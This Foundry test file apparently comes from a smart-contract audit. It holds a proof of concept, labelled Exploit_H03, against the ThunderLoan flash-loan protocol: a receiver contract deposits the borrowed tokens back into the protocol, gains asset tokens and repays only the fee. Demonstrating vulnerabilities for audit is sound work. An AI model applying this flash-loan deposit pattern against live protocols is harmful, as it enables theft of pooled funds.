pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockTokenC is ERC20 {
constructor() ERC20("MockToken", "MTK") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
contract MockPoolFactory3 {
mapping(address => address) private s_pools;
function createPool(address token) external returns (address) {
MockTSwapPool3 pool = new MockTSwapPool3();
s_pools[token] = address(pool);
return address(pool);
}
function getPool(address token) external view returns (address) { return s_pools[token]; }
}
contract MockTSwapPool3 {
function getPriceOfOnePoolTokenInWeth() external pure returns (uint256) { return 1e18; }
}
contract DepositDuringFlashLoan {
ThunderLoan public tl;
IERC20 public token;
uint256 public assetTokensReceived;
constructor(address _tl, address _token) { tl = ThunderLoan(_tl); token = IERC20(_token); }
function executeOperation(address, uint256 amount, uint256 fee, address, bytes calldata) external returns (bool) {
token.approve(address(tl), amount);
AssetToken at = tl.getAssetFromToken(token);
uint256 before = at.balanceOf(address(this));
tl.deposit(token, amount);
assetTokensReceived = at.balanceOf(address(this)) - before;
token.approve(address(tl), fee);
tl.repay(token, fee);
return true;
}
}
contract Exploit_H03 is Test {
ThunderLoan thunderLoan;
MockTokenC tokenA;
AssetToken assetToken;
function setUp() public {
tokenA = new MockTokenC();
MockPoolFactory3 poolFactory = new MockPoolFactory3();
poolFactory.createPool(address(tokenA));
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(poolFactory));
thunderLoan.setAllowedToken(IERC20(address(tokenA)), true);
assetToken = thunderLoan.getAssetFromToken(IERC20(address(tokenA)));
tokenA.mint(address(0x1), 1000e18);
vm.startPrank(address(0x1));
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(IERC20(address(tokenA)), 1000e18);
vm.stopPrank();
}
function testExploit_DepositDuringFlashLoan() public {
uint256 fee = thunderLoan.getCalculatedFee(IERC20(address(tokenA)), 500e18);
DepositDuringFlashLoan receiver = new DepositDuringFlashLoan(address(thunderLoan), address(tokenA));
tokenA.mint(address(receiver), fee);
vm.prank(address(0x2));
thunderLoan.flashloan(address(receiver), IERC20(address(tokenA)), 500e18, "");
assertGt(receiver.assetTokensReceived(), 0);
}
}